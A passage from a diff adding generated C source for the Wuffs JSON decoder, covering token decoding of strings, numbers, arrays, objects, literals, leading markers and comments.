++ } ++ if (a_src && a_src->meta.closed) { ++ if (self->private_impl.f_quirks[20u]) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(13); ++ goto label__string_loop_outer__continue; ++ } ++ v_multi_byte_utf8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ if ((v_multi_byte_utf8 & 3233857536u) == 2155905024u) { ++ v_multi_byte_utf8 = ((1835008u & ((uint32_t)(v_multi_byte_utf8 << 18u))) | ++ (258048u & ((uint32_t)(v_multi_byte_utf8 << 4u))) | ++ (4032u & (v_multi_byte_utf8 >> 10u)) | ++ (63u & (v_multi_byte_utf8 >> 24u))); ++ if ((65535u < v_multi_byte_utf8) && (v_multi_byte_utf8 <= 1114111u)) { ++ iop_a_src += 4u; ++ if (v_string_length >= 65528u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ goto label__string_loop_outer__continue; ++ } ++ v_string_length += 4u; ++ continue; ++ } ++ } ++ } ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (((uint8_t)(v_char & 128u)) != 0u) { ++ if (self->private_impl.f_quirks[0u]) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | ((uint32_t)(((uint8_t)(v_char & 127u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ goto label__string_loop_outer__continue; ++ } ++ if (v_char == 138u) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_new_line_in_a_string); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_c0_control_code); ++ goto exit; ++ } ++ if (self->private_impl.f_quirks[20u]) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); ++ goto exit; ++ } ++ } ++ label__string_loop_outer__break:; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(14); ++ continue; ++ } ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(15); ++ continue; ++ } ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ break; ++ } ++ if (0u == (v_expect & (((uint32_t)(1u)) << 4u))) { ++ v_expect = 4104u; ++ goto label__outer__continue; ++ } ++ break; ++ } else if (v_class == 2u) { ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (0u == (v_expect & (((uint32_t)(1u)) << 8u))) { ++ if (self->private_impl.f_quirks[13u]) { ++ v_expect = 4162u; ++ } else { ++ v_expect = 4098u; ++ } ++ } else { ++ if (self->private_impl.f_quirks[13u]) { ++ v_expect = 8114u; ++ } else { ++ v_expect = 7858u; ++ } ++ } ++ goto label__outer__continue; ++ } else if (v_class == 3u) { ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 7858u; ++ goto label__outer__continue; ++ } else if (v_class == 4u) { ++ while (true) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_number_length = wuffs_json__decoder__decode_number(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ v_number_status = (v_number_length >> 8u); ++ v_vminor = 10486787u; ++ if ((v_number_length & 128u) != 0u) { ++ v_vminor = 10486785u; ++ } ++ v_number_length = (v_number_length & 127u); ++ if (v_number_status == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_number_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ break; ++ } ++ while (v_number_length > 0u) { ++ v_number_length -= 1u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ } ++ if (v_number_status == 1u) { ++ if (self->private_impl.f_quirks[14u]) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } else if (v_number_status == 2u) { ++ status = wuffs_base__make_status(wuffs_json__error__unsupported_number_length); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(17); ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(18); ++ } ++ } ++ } ++ break; ++ } else if (v_class == 5u) { ++ v_vminor = 2113553u; ++ if (v_depth == 0u) { ++ } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { ++ v_vminor = 2113601u; ++ } else { ++ v_vminor = 2113569u; ++ } ++ if (v_depth >= 1024u) { ++ status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); ++ goto exit; ++ } ++ v_stack_byte = (v_depth / 32u); ++ v_stack_bit = (v_depth & 31u); ++ self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(1u)) << v_stack_bit); ++ v_depth += 1u; ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 4162u; ++ v_expect_after_value = 4164u; ++ goto label__outer__continue; ++ } else if (v_class == 6u) { ++ iop_a_src += 1u; ++ if (v_depth <= 1u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2101314u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__outer__break; ++ } ++ v_depth -= 1u; ++ v_stack_byte = ((v_depth - 1u) / 32u); ++ v_stack_bit = ((v_depth - 1u) & 31u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2105410u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 4356u; ++ v_expect_after_value = 4356u; ++ } else { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2113602u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 4164u; ++ v_expect_after_value = 4164u; ++ } ++ goto label__outer__continue; ++ } else if (v_class == 7u) { ++ v_vminor = 2105361u; ++ if (v_depth == 0u) { ++ } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { ++ v_vminor = 2105409u; ++ } else { ++ v_vminor = 2105377u; ++ } ++ if (v_depth >= 1024u) { ++ status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); ++ goto exit; ++ } ++ v_stack_byte = (v_depth / 32u); ++ v_stack_bit = (v_depth & 31u); ++ self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(1u)) << v_stack_bit)); ++ v_depth += 1u; ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 8114u; ++ v_expect_after_value = 4356u; ++ goto label__outer__continue; ++ } else if (v_class == 8u) { ++ iop_a_src += 1u; ++ if (v_depth <= 1u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2101282u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__outer__break; ++ } ++ v_depth -= 1u; ++ v_stack_byte = ((v_depth - 1u) / 32u); ++ v_stack_bit = ((v_depth - 1u) & 31u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2105378u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 4356u; ++ v_expect_after_value = 4356u; ++ } else { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(2113570u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_expect = 4164u; ++ v_expect_after_value = 4164u; ++ } ++ goto label__outer__continue; ++ } else if (v_class == 9u) { ++ v_match = wuffs_private_impl__io_reader__match7(iop_a_src, io2_a_src, a_src, 111546413966853u); ++ if (v_match == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(8388612u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(5u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { ++ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ iop_a_src += 5u; ++ break; ++ } else if (v_match == 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(19); ++ goto label__outer__continue; ++ } ++ } else if (v_class == 10u) { ++ v_match = wuffs_private_impl__io_reader__match7(iop_a_src, io2_a_src, a_src, 435762131972u); ++ if (v_match == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(8388616u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ iop_a_src += 4u; ++ break; ++ } else if (v_match == 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(20); ++ goto label__outer__continue; ++ } ++ } else if (v_class == 11u) { ++ v_match = wuffs_private_impl__io_reader__match7(iop_a_src, io2_a_src, a_src, 465676103172u); ++ if (v_match == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(8388610u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ iop_a_src += 4u; ++ break; ++ } else if (v_match == 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(21); ++ goto label__outer__continue; ++ } ++ if (self->private_impl.f_quirks[14u]) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); ++ status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ break; ++ } ++ } else if (v_class == 12u) { ++ if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u]) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); ++ status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_comment_type > 0u) { ++ goto label__outer__continue; ++ } ++ } ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ if (v_depth == 0u) { ++ break; ++ } ++ v_expect = v_expect_after_value; ++ } ++ label__outer__break:; ++ if (self->private_impl.f_quirks[17u] || self->private_impl.f_quirks[18u]) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); ++ status = wuffs_json__decoder__decode_trailer(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ self->private_impl.f_end_of_data = true; ++ ++ ok: ++ self->private_impl.p_decode_tokens = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_tokens = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_data.s_decode_tokens.v_depth = v_depth; ++ self->private_data.s_decode_tokens.v_expect = v_expect; ++ self->private_data.s_decode_tokens.v_expect_after_value = v_expect_after_value; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func json.decoder.decode_number ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_json__decoder__decode_number( ++ wuffs_json__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ uint8_t v_c8 = 0; ++ uint32_t v_n = 0; ++ uint32_t v_floating_point = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ do { ++ v_n = 0u; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (v_c8 != 45u) { ++ } else { ++ v_n += 1u; ++ iop_a_src += 1u; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ v_n |= 256u; ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ } ++ if (v_c8 == 48u) { ++ v_n += 1u; ++ iop_a_src += 1u; ++ } else { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (v_n > 99u) { ++ break; ++ } ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (v_c8 != 46u) { ++ } else { ++ if (v_n >= 99u) { ++ v_n |= 512u; ++ break; ++ } ++ v_n += 1u; ++ iop_a_src += 1u; ++ v_floating_point = 128u; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (v_n > 99u) { ++ break; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ } ++ if ((v_c8 != 69u) && (v_c8 != 101u)) { ++ break; ++ } ++ if (v_n >= 99u) { ++ v_n |= 512u; ++ break; ++ } ++ v_n += 1u; ++ iop_a_src += 1u; ++ v_floating_point = 128u; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ v_n |= 256u; ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if ((v_c8 != 43u) && (v_c8 != 45u)) { ++ } else { ++ if (v_n >= 99u) { ++ v_n |= 512u; ++ break; ++ } ++ v_n += 1u; ++ iop_a_src += 1u; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } while (0); ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ return (v_n | v_floating_point); ++} ++ ++// -------- func json.decoder.decode_digits ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_json__decoder__decode_digits( ++ wuffs_json__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_n) { ++ uint8_t v_c8 = 0; ++ uint32_t v_n = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ v_n = a_n; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if ( ! (a_src && a_src->meta.closed)) { ++ v_n |= 768u; ++ } ++ break; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (0u == WUFFS_JSON__LUT_DECIMAL_DIGITS[v_c8]) { ++ break; ++ } ++ if (v_n >= 99u) { ++ v_n |= 512u; ++ break; ++ } ++ v_n += 1u; ++ iop_a_src += 1u; ++ } ++ if (v_n == a_n) { ++ v_n |= 256u; ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ return v_n; ++} ++ ++// -------- func json.decoder.decode_leading ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_leading( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_u = 0; ++ ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_leading; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_allow_leading_ars = self->private_impl.f_quirks[15u]; ++ self->private_impl.f_allow_leading_ubom = self->private_impl.f_quirks[16u]; ++ while (self->private_impl.f_allow_leading_ars || self->private_impl.f_allow_leading_ubom) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ continue; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if ((v_c8 == 30u) && self->private_impl.f_allow_leading_ars) { ++ self->private_impl.f_allow_leading_ars = false; ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ continue; ++ } else if ((v_c8 == 239u) && self->private_impl.f_allow_leading_ubom) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { ++ if (a_src && a_src->meta.closed) { ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ continue; ++ } ++ v_u = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); ++ if (v_u == 12565487u) { ++ self->private_impl.f_allow_leading_ubom = false; ++ iop_a_src += 3u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ continue; ++ } ++ } ++ break; ++ } ++ ++ ok: ++ self->private_impl.p_decode_leading = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_leading = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func json.decoder.decode_comment ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_json__decoder__decode_comment( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint16_t v_c16 = 0; ++ uint32_t v_length = 0; ++ ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if 